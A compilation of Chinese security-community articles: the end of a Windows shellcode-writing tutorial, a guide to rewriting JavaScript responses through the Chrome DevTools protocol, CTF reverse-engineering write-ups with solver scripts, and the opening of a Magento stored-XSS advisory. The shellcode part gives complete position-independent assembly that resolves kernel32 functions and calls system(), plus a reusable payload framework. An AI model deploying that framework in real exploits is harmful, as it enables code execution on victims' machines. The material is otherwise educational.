sub dword ptr[esp + 0x2], 0x62 ; Remove “b”
push 0x74737973 ; syst
push esp ; system
push eax ; msvcrt.dll address
call edx ; GetProc(system)
**调用system函数**
这个地方直接就可用前文所写的代码了，直接套用进框架就行，前提是要确保堆栈平衡。
add esp, 0x10 ; Cleanup stack
push ebp
mov ebp,esp
sub esp,0x4 ; 准备空间
xor esi,esi
mov esi,0x00726964 ; dir
mov dword ptr[ebp-04h],esi
lea esi, [ebp-04h]
push esi
call eax ; system("dir")
add esp, 0x8 ; Clean stack
pop esi
**得到ExitProcess函数地址**
我们完成了整个函数的执行，为了不爆出错误，我们必须完美的退出这个程序，所以我们需要在kernel32.dll中找到ExitProcess函数。
;退出程序
pop edx ; GetProcAddress
pop ebx ; kernel32.dll base address
mov ecx, 0x61737365 ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove “a”
push 0x636f7250 ; Proc
push 0x74697845 ; Exit
push esp
push ebx ; kernel32.dll base address
call edx ; GetProc(Exec)
**调用ExitProcess函数**
最后，我们调用ExitProcess函数:“ExitProcess(0)”。
xor ecx, ecx ; ECX = 0
push ecx ; Return code = 0
call eax ; ExitProcess
**完整Shellcode**
现在我们只需要把所有的代码段加在一起，最后的shellcode完整代码如下:
void main()
{
_asm
{
xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = Base address
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset namestable
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword ptr[eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; Number of function
dec ecx
mov esi, [edx + 0x1c] ; Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp ; "LoadLibrary"
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LL)
add esp, 0xc ; pop "LoadLibrary"
pop ecx ; ECX = 0
push eax ; EAX = LoadLibrary
push ecx
mov cx, 0x6c6c ; ll
push ecx
push 0x642e7472 ; rt.d
push 0x6376736d ; msvc
push esp ; "msvcrt.dll"
call eax ; LoadLibrary("msvcrt.dll")
;system内存地址
add esp, 0x10 ; Clean stack
mov edx, [esp + 0x4] ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ecx ; 73797374 656d
mov ecx,0x61626d65 ; emba
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove “a”
sub dword ptr[esp + 0x2], 0x62 ; Remove “b”
push 0x74737973 ; syst
push esp ; system
push eax ; msvcrt.dll address
call edx ; GetProc(system)
add esp, 0x10 ; Cleanup stack
;执行核心程序
push ebp
mov ebp,esp
sub esp,0x4
xor esi,esi
mov esi,0x00726964 ;dir
mov dword ptr[ebp-04h],esi
lea esi, [ebp-04h]
push esi
call eax
;堆栈平衡
add esp,0x8 ;恢复esp
pop esi
;退出程序
pop edx ; GetProcAddress
pop ebx ; kernel32.dll base address
mov ecx, 0x61737365 ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250 ; Proc
push 0x74697845 ; Exit
push esp
push ebx ; kernel32.dll base address
call edx ; GetProc(Exec)
xor ecx, ecx ; ECX = 0
push ecx ; Return code = 0
call eax ; ExitProcess
}
}
具体的Shellcode提取就不做了，下面就是整个独立Shellcode的编写框架
xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = Base address
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset namestable
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword ptr[eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; Number of function
dec ecx
mov esi, [edx + 0x1c] ; Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp ; "LoadLibrary"
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LL)
add esp, 0xc ; pop "LoadLibrary"
pop ecx ; ECX = 0
push eax ; EAX = LoadLibrary
;DLL文件字符串
;push 0xffffffff
push esp ; "xxx.dll"
call eax ; LoadLibrary("msvcrt.dll")
;查找函数内存地址
add esp, 0xff ; Clean stack
mov edx, [esp + 0x4] ; EDX = GetProcAddress
;函数字符串
;push 0xffffffff
push esp ; xxx函数
push eax ; xxx.dll address
call edx ; GetProc(xxx函数)
add esp, 0xff ; Cleanup stack
;执行核心程序
;需执行的Shellcode利用程序
;堆栈平衡
add esp,0xff ;恢复esp
;退出程序
pop edx ; GetProcAddress
pop ebx ; kernel32.dll base address
mov ecx, 0x61737365 ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250 ; Proc
push 0x74697845 ; Exit
push esp
push ebx ; kernel32.dll base address
call edx ; GetProc(Exec)
xor ecx, ecx ; ECX = 0
push ecx ; Return code = 0
call eax ; ExitProcess
### 结语
编写Shellcode只要找到方法，其实并不是很难，本文所讲也只是皮毛而已。一般一个独立性的Shellcode包含了很多，为了减小体积本文中的编写方法是可以压缩的。我们有了Shellcode独立的编写能力后，可以完成很多有趣的漏洞利用代码和独立的Shellcode的编写，或者改写他人优秀的Shellcode代码。
Linux下的Shellcode编写本文就不说了，在先知已经有朋友写过了，大体的编写思路都是一样的。
Linux下shellcode的编写：
<https://xianzhi.aliyun.com/forum/topic/2052>
以下推荐两个优秀的Shellcode工具，可转换多平台Shellcode，生成的Shellcode可能会有错误，自己调整下就行了。
<https://github.com/merrychap/shellen>
<https://github.com/NytroRST/ShellcodeCompiler>
参考链接：
<https://securitycafe.ro/2016/02/15/introduction-to-windows-shellcode-development-part-3/> | 社区文章 |
# 如何通过Devtools协议拦截和修改Chrome响应数据
##### 译文声明
本文是翻译文章，文章原作者 Shapesecurity，文章来源：Shapesecurity.com
原文地址：<https://blog.shapesecurity.com/2018/09/17/intercepting-and-modifying-responses-with-chrome-via-the-devtools-protocol/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在日常研究中，我们经常碰到大量JavaScript代码，我们首先要深入分析才能了解这些代码的功能及具体逻辑。这些代码代码可能会被恶意注入到页面中，可能是客户送过来需要我们帮忙分析的脚本，也可能是我们的安全团队在网页上找到的引用了我们服务的某些资源。这些脚本通常代码量不大、经过混淆处理，并且我们总是需要经过多层修改才能继续深入分析。
到目前为止，最简单的分析方法就是使用支持手动编辑的本地缓存环境或者使用代理来动态重写内容。本地方案最为方便，但并不是所有的网站都能完美适应其他环境，并且有时候人们会在提高效率的路上越走越远。代理非常灵活，但通常配置起来非常麻烦且不便携，每个人都有自己定制的环境，并且大家对各种代理的熟悉程度也不相同。我个人使用的是Chrome及devtools协议，以便hook请求及响应数据、动态修改数据内容。这种方式可以移植到搭载Chrome的任意平台，规避一系列问题，也能与常见的JavaScript工具完美集成。在本文中，我将介绍如何使用Chrome的[devtools协议](https://chromedevtools.github.io/devtools-protocol/)动态拦截并修改JavaScript。
本文使用的是node环境，但其中许多内容适用于各种语言，以便让大家能够轻松使用devtools。
如果大家之前没尝试过脚本化的Chrome，可以先参考下Eric Bidelman写的关于headless
Chrome的[入门指南](https://developers.google.com/web/updates/2017/04/headless-chrome)，其中提到的技巧适用于headless以及GUI版本的Chrome（其中有一个小技巧会在下文给出解决方案）。
## 二、启动Chrome
我们可以使用npm中的chrome-launcher库来启动Chrome：
npm install chrome-launcher
我们从名字上就能猜到chrome-launcher的功能，也可以在命令行中无缝使用Chromium的参数（具体参数可参考此[列表](https://peter.sh/experiments/chromium-command-line-switches/)），这里我们选择使用如下选项：
1、–window-size=1200,800
自动设置窗口大小。
2、–auto-open-devtools-for-tabs
自动打开devtools（因为我们基本上每次都会用到这些功能）
3、–user-data-dir=/tmp/chrome-testing
设置用户目录。理想情况下我们并不需要这个参数，但出于某些原因，如果不使用该标志我们就无法在Mac OS
X上使用非headless模式来拦截请求。由于我已经找到了解决方案，因此就不去深究背后的具体原因。如果大家找到更好的解决办法，欢迎[推特](https://twitter.com/jsoverson)联系我。
const chromeLauncher = require('chrome-launcher');
async function main() {
const chrome = await chromeLauncher.launch({
chromeFlags: [
'--window-size=1200,800',
'--user-data-dir=/tmp/chrome-testing',
'--auto-open-devtools-for-tabs'
]
});
}
main()
大家可以尝试运行如上脚本，确保能正确打开Chrome，效果如下图所示：
## 三、使用Chrome Devtools协议
该协议也被称为“Chrome调试器协议”，并且Google的某些文档中也用过这个称呼。首先，我们需要通过npm安装chrome-remote-interface包，以便与devtools协议交互。如果我们想深入了解具体细节，可以参考协议相关[文档](https://chromedevtools.github.io/devtools-protocol/)。
npm install chrome-remote-interface
为了使用CDP，我们需要连接到调试器端口，因为我们正在使用chrome-launcher库，只需要使用如下语句就能完成该任务：
const protocol = await CDP({ port: chrome.port });
首先我们需要启用协议中的许多域，这里我们先从Runtime域开始，这样我们才能hook控制台API，将浏览器对控制台的调用传递到命令行中：
const { Runtime } = protocol;
await Promise.all([Runtime.enable()]);
Runtime.consoleAPICalled(
({ args, type }) => console[type].apply(console, args.map(a => a.value))
);
现在当我们运行脚本时，将获得一个功能完整的Chrome窗口，也会将所有控制台消息输出到我们的终端，这对测试来说本身就是非常棒的一件事。
## 四、拦截请求
首先我们需要注册待拦截的目标，具体方法是向[setRequestInterception](https://chromedevtools.github.io/devtools-protocol/tot/Network#method-setRequestInterception)提交待拦截的[RequestPatterns](https://chromedevtools.github.io/devtools-protocol/tot/Network#type-RequestPattern)。我们可以在Request阶段或者HeadersReceived阶段进行拦截，为了修改响应数据，我们需要等待HeadersReceived。resourceType与我们常在devtools网络面板中看到的[类型](https://chromedevtools.github.io/devtools-protocol/tot/Network#type-ResourceType)一致。
此外，别忘了启用Network域（与启用Runtime域的方法一样，将Network.enable()加入数组中）。
await Network.setRequestInterception(
{ patterns: [
{
urlPattern: '*.js*',
resourceType: 'Script',
interceptionStage: 'HeadersReceived'
}
] }
);
事件处理程序（handler）的注册过程相对比较简单，每个待拦截的请求都带有一个interceptionId，该ID可以用来查询关于该请求的信息或者继续放行。这里我们只是将已拦截的所有请求信息输出到控制台界面。
Network.requestIntercepted(async ({ interceptionId, request}) => {
console.log(
`Intercepted ${request.url} {interception id: ${interceptionId}}`
);
Network.continueInterceptedRequest({
interceptionId,
});
});
## 五、修改请求
为了修改请求，我们需要安装一些辅助库，用来编码及解码base64字符串。现在有许多库可以完成这项任务，我们可以选择自己惯用的工具。这里我们使用的是atob以及btoa，在使用这些库之前我们记得先得执行require操作，确保在脚本中能使用这些资源。
npm install btoa atob
这里用来处理响应的API略微有点麻烦。为了处理响应数据，我们需要在请求拦截上执行所有操作（而不是简单地拦截响应数据），然后通过interceptionId查询body数据。这是因为当handler被调用时body数据可能处于不可用状态，通过这种方式我们就能等待所需的数据。body可能经过base64编码处理，因此我们可能还需要检查编码状态，在继续传递之前执行解码操作。
const response = await Network.getResponseBodyForInterception({ interceptionId });
const bodyData = response.base64Encoded ? atob(response.body) : response.body;
此时我们可以自由使用JavaScript：作为响应链的中间一环，我们可以访问所请求的完整JavaScript代码，也能返回任意内容。我们还可以稍微修改JS代码，在末尾添加一行console.log语句，这样当浏览器执行经过修改的代码时，我们的控制台就能收到相应消息。
const newBody = bodyData + `nconsole.log('Executed modified resource for ${request.url}');`;
我们不能直接简单地传递经过修改的body数据，因为修改后的内容可能会与来自原始资源的头部数据冲突。由于我们能自由测试并调整内容，我们可以从头开始构建最基本的头部数据，避免其它头部信息带来的潜在影响。如有必要，我们可以将responseHeaders传递给事件处理程序来访问响应头，但这里我们只需要使用数组创建所需的最小集合，以便将来进一步操作及编辑：
const newHeaders = [
'Date: ' + (new Date()).toUTCString(),
'Connection: closed',
'Content-Length: ' + newBody.length,
'Content-Type: text/javascript'
];
为了发送新的响应，我们需要构造一个完整的、经过base64编码的HTTP响应包（包括HTTP状态码），然后通过对象的rawResponse属性配合continueInterceptedRequest执行发送操作。
Network.continueInterceptedRequest({
interceptionId,
rawResponse: btoa(
'HTTP/1.1 200 OKrn' +
newHeaders.join('rn') +
'rnrn' +
newBody
)
});
此时，如果我们执行脚本，在互联网上随意冲浪时，就可以在终端界面看到如下类似内容，这是因为我们的脚本拦截了JavaScript，并且浏览器执行了经过我们修改的JavaScript，通过console.log()打印出这些信息。
完整的示例代码如下所示：
const chromeLauncher = require('chrome-launcher');
const CDP = require('chrome-remote-interface');
const atob = require('atob');
const btoa = require('btoa');
async function main() {
const chrome = await chromeLauncher.launch({
chromeFlags: [
'--window-size=1200,800',
'--user-data-dir=/tmp/chrome-testing',
'--auto-open-devtools-for-tabs'
]
});
const protocol = await CDP({ port: chrome.port });
const { Runtime, Network } = protocol;
await Promise.all([Runtime.enable(), Network.enable()]);
Runtime.consoleAPICalled(({ args, type }) => console[type].apply(console, args.map(a => a.value)));
await Network.setRequestInterception({ patterns: [{ urlPattern: '*.js*', resourceType: 'Script', interceptionStage: 'HeadersReceived' }] });
Network.requestIntercepted(async ({ interceptionId, request}) => {
console.log(`Intercepted ${request.url} {interception id: ${interceptionId}}`);
const response = await Network.getResponseBodyForInterception({ interceptionId });
const bodyData = response.base64Encoded ? atob(response.body) : response.body;
const newBody = bodyData + `nconsole.log('Executed modified resource for ${request.url}');`;
const newHeaders = [
'Date: ' + (new Date()).toUTCString(),
'Connection: closed',
'Content-Length: ' + newBody.length,
'Content-Type: text/javascript'
];
Network.continueInterceptedRequest({
interceptionId,
rawResponse: btoa('HTTP/1.1 200 OK' + 'rn' + newHeaders.join('rn') + 'rnrn' + newBody)
});
});
}
main();
## 六、后续工作
后面我们还可以较为规整地打印出源代码，这对逆向工程来说通常是非常有用的第一步。当然现在许多浏览器都支持这个操作，但我们还是想自己控制数据修改的每个步骤，以便在各个浏览器版本之间保持兼容性，也能在分析源码时将各个环节连接起来。在分析外来的、经过混淆处理的代码时，如果我理解了变量以及函数的具体作用后，我就喜欢重命名这些对象。想要安全地修改JavaScript代码并非易事，本文只是一篇入门文章，后续大家还可以使用类似unminify的工具还原经过缩略或者混淆的代码。
const unminify = require('unminify');
[...]
const newBody = unminify(bodyData + `nconsole.log('Intercepted and modified ${request.url}');`);
后面我们会继续深入分析这方面内容，希望本文能给大家带来帮助，如有任何问题、建议或者其他巧妙的技巧，欢迎通过[推特](https://twitter.com/jsoverson)联系我。 | 社区文章 |
近期三场ctf，题目都比较简单。
# Securinets Prequals 2K19
## AutomateMe
获取输入后比对长度3296，然后是3296个if一个一个的比对，一共有下面两种比对方式：
.text:0000000000000774 ; ---------------------------------------------------------- .text:0000000000000774
.text:0000000000000774 loc_774: ; CODE XREF: main+82↑j
.text:0000000000000774 mov rax, [rbp+var_20]
.text:0000000000000778 add rax, 8
.text:000000000000077C mov rax, [rax]
.text:000000000000077F add rax, 1
.text:0000000000000783 movzx eax, byte ptr [rax]
.text:0000000000000786 cmp al, 68h ; 'h'
.text:0000000000000788 jz short loc_7A0
.text:000000000000078A lea rdi, aNope ; "nope :( "
.text:0000000000000791 mov eax, 0
.text:0000000000000796 call _printf
.text:000000000000079B jmp locret_283A0
.text:00000000000007A0 ; ---------------------------------------------------------- .text:00000000000007A0
.text:00000000000007A0 loc_7A0: ; CODE XREF: main+AE↑j
.text:00000000000007A0 mov rax, [rbp+var_20]
.text:00000000000007A4 add rax, 8
.text:00000000000007A8 mov rax, [rax]
.text:00000000000007AB movzx eax, byte ptr [rax+2]
.text:00000000000007AF mov [rbp+var_1], al
.text:00000000000007B2 xor [rbp+var_1], 0EBh
.text:00000000000007B6 cmp [rbp+var_1], 8Eh
.text:00000000000007BA jz short loc_7D2
.text:00000000000007BC lea rdi, aNope ; "nope :( "
.text:00000000000007C3 mov eax, 0
.text:00000000000007C8 call _printf
.text:00000000000007CD jmp locret_283A0
.text:00000000000007D2 ; ----------------------------------------------------------
由于代码都是相似的，比对的过程也是从头到尾，所以直接找到特定的代码提取出数据就行了
f = open('bin','rb')
f.read(0x74C)
g = open('flag.txt','ab')
with open('bin','rb') as f:
f.read(0x74C)
while(True):
temp = f.read(1)
if temp =='':
break
temp = ord(temp)
if temp == 0x3C:
t = f.read(1)
k = f.read(1)
if k=='\x74':
g.write(t)
elif temp ==0x80:
if ord(f.read(1))==0x75:
f.read(1)
t = ord(f.read(1))
f.read(1)
f.read(1)
f.read(1)
k = ord(f.read(1))
g.write(chr(k^t))
flag就在输出的中间一部分。
## warmup
先将输入base64编码，然后在25个check里比对某一位的字符或某两位的相对位置。细心一点把25个check求一遍就行了。
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
k = [0 for i in range(36)]
k[0] = table[28]
k[1] = table[54]
k[2] = k[10] = table[((28+54)>>2) + 1]
k[3] = 'j'
k[4] = chr(ord(k[0])+1)
k[12] = k[22] = k[24] = chr(ord(k[4])-1)
k[23] = k[11] = chr(48)
k[35] = chr(ord(k[11])+9)
k[6] = chr(ord(k[3]) - 32)
k[8] = chr(ord(k[0]) - 1)
k[27] = k[31] = chr(ord(k[4]) + 2)
k[25] = k[9] = chr(ord(k[27]) + 7)
k[13] = k[17] = k[21] = chr(ord(k[1]) + 1)
k[7] = 'p'
k[15] = chr(ord(k[7]) + 3)
k[14] = chr(ord(k[15]) + 1)
k[19] = 'z'
k[34] = chr(ord(k[0]) - 33)
k[5] = k[20] = k[29] = k[33] = 'X'
k[26] = chr(49)
k[16] = k[28] = chr(ord(k[9]) - 32)
k[1] = chr(50)
k[18] = k[30] = chr(ord(k[7]) - 30)
k[32] = k[4]
t = ''
for i in range(36):
t+=k[i]
print(t.decode('base64'))
25个check比较繁琐，需要细心一点。话说应该可以用angr，但是翻了好多文档试了好多脚本都求不出，有时间再仔细学学angr
## Matrix of Hell
加密逻辑：
gets(s);
if ( strlen(s) != 14 || (sub_5593FC1E383A(), !v3) )
{
printf("ACCESS DENIED");
exit(0);
}
v16 = 0;
for ( k = 0; k < strlen(s); ++k )
{
for ( l = 0; l <= 4; ++l )
{
for ( m = 0; m <= 4; ++m )
{
if ( matrix[m + 6LL * l] == s[k] )
{
s1[v16] = l + 65;
v4 = v16 + 1;
s1[v4] = m + 49;
v16 = v4 + 1;
}
}
}
}
for ( n = 0; n < strlen(s1); ++n )
s2[n] = n % 4 ^ s1[n];
if ( strcmp(s3, s2) )
{
printf("ACCESS DENIED", s2);
exit(0);
}
先生成一个5*6的固定的矩阵，然后获取输入，输入长度需为14
从输入的第一位开始，在矩阵中找到对应的元素，行数 l+65 放到 字符串s1的2*i位置，列数
m+49放到字符串s2的2*i+1位置，最后将字符串的每一位异或位数(n%4)得到s2，再和常量字符串s3对比。
解密脚本：
t1 = [0x41, 0x42, 0x43, 0x44, 0x45, 0x0, 0x46, 0x47, 0x48, 0x49, 0x4B, 0x0, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x0, 0x51, 0x52, 0x53, 0x54, 0x55, 0x0, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x0]
s = 'B0C2A2C6A3A7C5@6B5F0A4G2B5A2'
s1 = []
for i in range(len(s)):
s1.append(ord(s[i])^(i%4))
pswd = ''
for i in range(14):
l = s1[2*i] - 65
m = s1[2*i+1] - 49
pswd += chr(t1[m + 6*l])
print(pswd)
## Vectors
输入一个64位的十六进制数
接下来对数据的操作用到了vector，静态分析比较蛋疼，直接动调。先将输入的数据分成8个字节放入一个vector，在`sub_F37`可以看到它将另7个不同的8位16进制数放入另一个vector。直接调试到`sub_F37`可以看到它将两个vector排好序了
[heap]:0000564A82C794B0 dword_564A82C794B0 dd 0Ch
[heap]:0000564A82C794B0 dd 0Dh
[heap]:0000564A82C794B0 dd 0ADh
[heap]:0000564A82C794B0 dd 0BEh
[heap]:0000564A82C794B0 dd 0DEh
[heap]:0000564A82C794B0 dd 0EDh
[heap]:0000564A82C794B0 dd 0EFh
[heap]:0000564A82C794E0 dword_564A82C794E0 dd 11h
[heap]:0000564A82C794E0 dd 22h
[heap]:0000564A82C794E0 dd 33h
[heap]:0000564A82C794E0 dd 44h
[heap]:0000564A82C794E0 dd 55h
[heap]:0000564A82C794E0 dd 66h
[heap]:0000564A82C794E0 dd 77h
[heap]:0000564A82C794E0 dd 88h
之后就直接比对结果了。直接输入0C0DADBEDEEDEF并不能的到flag，虽然显示通过了check但是输出的flag并不对：
Welcome resreveR!...
PASSCODE:0C0DADBEDEEDEF
GOOD JOB U GOT THIS, HERE IS UR FLAG:s62ine'
因为一共有7!种排列方式。用itertools爆破求出flag即可
from pwn import *
from itertools import *
context.log_level = 'error'
a = [0xad,0xef,0xbe,0xde,0xc,0xed,0xd]
b = permutations(a,7)
for i in b:
p = process('./bin')
payload = ''
for j in range(7):
k = hex(i[j])[2:]
if(len(k)==1):
k = '0'+k
payload+=k
p.recv()
p.sendline(payload)
p.recvuntil('FLAG:')
a = p.recv()
if a.startswith('securinets'):
print(a)
exit()
p.close()
## RBOOM!
上来有个ptrace的反调试，直接jmp掉
读取输入后，写入文件"lla"。主要的加密逻辑在`sub_93A`里。从文件"lla"和文件“la”读取数据后，在`sub_CCF`加密。
v11 = 0;
v13 = 0;
for ( i = 0; i <= 255; ++i )
{
v18[i] = i;
v17[i] = la[i % a4];
}
for ( j = 0; j <= 255; ++j )
{
v5 = (unsigned int)(((unsigned __int8)v18[j] + v11 + (unsigned __int8)v17[j]) >> 31) >> 24;
v11 = (unsigned __int8)(v5 + v18[j] + v11 + v17[j]) - v5;
v6 = v18[v11];
v18[v11] = v18[j];
v18[j] = v6;
}
v12 = 0;
for ( k = 0; k < a2; ++k )
{
v13 = (unsigned __int8)((char *)&off_2F98
+ 0xFFFFD069
+ v13
+ ((unsigned int)((signed int)((signed int)&off_2F98 + 0xFFFFD069 + v13) >> 31) >> 24))
- ((unsigned int)((signed int)((signed int)&off_2F98 + 0xFFFFD069 + v13) >> 31) >> 24);
v7 = (unsigned int)((v12 + (unsigned __int8)v18[v13]) >> 31) >> 24;
v12 = (unsigned __int8)(v7 + v12 + v18[v13]) - v7;
v8 = v18[v12];
v18[v12] = v18[v13];
v18[v13] = v8;
a5[k] = v18[(unsigned __int8)(v18[v13] + v18[v12])] ^ input[k];
}
看到有两个长度为256的循环，猜测一下是RC4。不太想分析太多，直接在input异或的地方`00000F5F`下断点，编辑断点添加condition：print(GetRegValue('ecx'))，这样直接能在ida的输出窗口将它异或的东西输出出来，再之后就是和常量比较了。
当然也可以直接用RC4解密，看个人喜好
a = [219, 87, 247, 80, 74, 188, 141, 29, 127, 165, 123, 43, 219, 11, 64, 236, 244, 233, 240, 132, 136, 239, 180, 2, 232, 137, 128, 129, 139, 1, 251, 46, 19, 18, 176, 44, 71, 111, 163, 36, 109, 38, 229, 248, 92, 183, 230, 30, 75, 97, 236, 159, 242]
with open('ll','rb') as f:
s = ''
for i in range(33):
s+=chr(a[i]^ord(f.read(1)))
print(s)
## monster
这题算法十分简单，但如果不熟悉大整数运算算法的话看起来会比较吃力
首先还是接受16进制的输入，主要加密逻辑在`00000B52`里面
void __cdecl encode(char *s, __int64 a3)//s:"tsebehtsignisrever" a3:input
{
unsigned __int64 a1; // [esp+8h] [ebp-20h]
size_t i; // [esp+18h] [ebp-10h]
a1 = __PAIR__(HIDWORD(a3), (unsigned int)a3);
for ( i = 0; strlen(s) > i; ++i )
{
temp[i] = a1 ^ s[i];
a1 = mod(1337 * a1, 133713371337LL);
}
}
当然原本是没有符号表的，这里是我改的。
这里的mod函数就是取模运算，不过是对64位大整数的取模运算，这是一个32位程序，所以要对64位数取模要用两个寄存器/Dword表示，会麻烦一些。一开始对着这个函数日了好久，最终发现是手动在32程序里写了一个64位整数的取模运算，也是浪费了一些时间=
=
直接用z3约束求解器解吧
from z3 import *
from pwn import *
context.log_level = 'debug'
p = process('./rev',)
# p = remote('54.87.182.197','1337')
a= BitVec('a',64)
s = Solver()
const = [0xCA, 0x3D, 0x3B, 0x5B, 0x4C, 0x9D, 0xD2, 0xCB, 0xDD, 0x17, 0x8D, 0xDC, 0xB9, 0x49, 0x3B, 0xEA, 0x12, 0x25]
key = [ 0x74, 0x73, 0x65, 0x62, 0x65, 0x68, 0x74, 0x73, 0x69, 0x67, 0x6E, 0x69, 0x73, 0x72, 0x65, 0x76, 0x65, 0x72]
for i in range(len(key)):
const[i]^=key[i]
s.add(a &0xff == const[i])
a = (a*1337)%133713371337
if s.check() == sat:
m = s.model()
payload = hex(m[m[0]].as_long())
print(payload)
# payload = '564e9367e6e30be'
p.sendline(payload)
print(p.recv())
比赛的服务器已经关闭了，本地肯定能打
# Sunshine CTF 2019
## Patches' Punches
打开程序后直接结束了，看一下汇编有一个永真的语句，把`00000540`patch成与1比较，直接得到flag
.text:0000052B push ecx
.text:0000052C sub esp, 10h
.text:0000052F call __x86_get_pc_thunk_ax
.text:00000534 add eax, 1AA4h
.text:00000539 mov [ebp+var_10], 1
.text:00000540 cmp byte ptr [ebp+var_10], 1
.text:00000544 jnz short lose
.text:00000546 mov [ebp+var_C], 0
.text:0000054D jmp short win
## Smash
加密逻辑在`checkAccessCode`函数里，把输入右移一定大小，然后跟常量对比。
a = [0x0E60, 0x3A8, 0x1B80, 0x0F60, 0x120, 0x0EA0, 0x188, 0x358, 0x1A0, 0x9A0, 0x184, 0x4E0, 0x0C40, 0x0C20, 0x5A0, 0x1C8, 0x1D4, 0x9C0, 0x1CC, 0x0B40, 0x0AE0, 0x62, 0x360, 0x340, 0x5A0, 0x180, 0x6E0, 0x0B40, 0x1540, 0x0FA0]
b = [5, 3, 6, 5, 2, 5, 3, 3, 3, 5, 2, 4, 6, 5, 5, 2, 2, 5, 2, 6, 5, 1, 3, 4, 5, 3, 4, 6, 6, 5]
s = ''
for i in range(len(a)):
a[i] >>= b[i]
s+=chr(a[i])
print(s)
## The Whole Pkg
这题就有点意思了，直接打开是个文件读取系统
输入1看文件目录，输入2打印文件
输入3提示没有权限
其他的文件都能正常读
思考一下，可能输3之后会有个函数check，想办法定位到那个check，如果它是采用返回0/1的方式check，可以尝试修改返回值（eax）
用ida打开直接凉凉，里面一大堆库函数乱起八糟挺难分析的
用x64dbg动调，直接运行，先输入一个2，接下来先暂停再输入3回车，这样会暂停到输完3那一步，可以看到我们的输入“3\r\n”在栈里面。
在字符'3'下硬件断点，继续运行，会停到一个函数内，看起来像是strlen，返回了函数长度3。
继续运行，断到另一个函数，看起来像是strcpy，在copy的新地址下硬件断点。
继续运行，来到一个类似check的地方，直接运行到返回，返回值是1，尝试改成0（返回后也能看到它和1，-1，0比较），把之前的断点删除继续与运行，这时候又来到一个要求输入的地方，尝试输入一个3和回车，flag就直接被打印出来了。。。
做法很玄学，希望大佬们能讲解下具体细节= = | 社区文章 |
# Magento的存储型xss漏洞
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://blog.sucuri.net/2016/01/security-advisory-stored-xss-in-magento.html>
译文仅供参考，具体内容表达以及含义原文为准。
安全风险:危险
利用程度:简单/远程
可怕指数:7/10
漏洞类型: 存储型漏洞
打补丁的版本:MagentoCE:1.9,2.3,MagentoEE:1.14.2.3
在我们对云WAF进行定期调查审计期间,我们发现了一个影响到Magento平台的存储型XSS漏洞,它可以很容易地被远程利用。我们通知了Magento团队,并和他们一起对其进行了修复。
漏洞的披露时间表:
•2015年11月10日-发现错误,开始向Magento的安全团队报告
•2015年12月1日-Magento没有回应,请求对我们之前的邮件进行确认。
•2015年12月1日-Magento收到报告的收据。
•2016年1月7日-请求一个ETA,自发送原始报告以来已经过了两个月。
•2016年1月11日-Magento的回答是补丁已经准备好了,但是没有可用的ETA。
•2016年1月20日-Magento发布修复这个问题的补丁包SUPEE-7405。
•2016年1月22日- Sucuri公开披露漏洞的信息。
这个漏洞对我有危险吗?
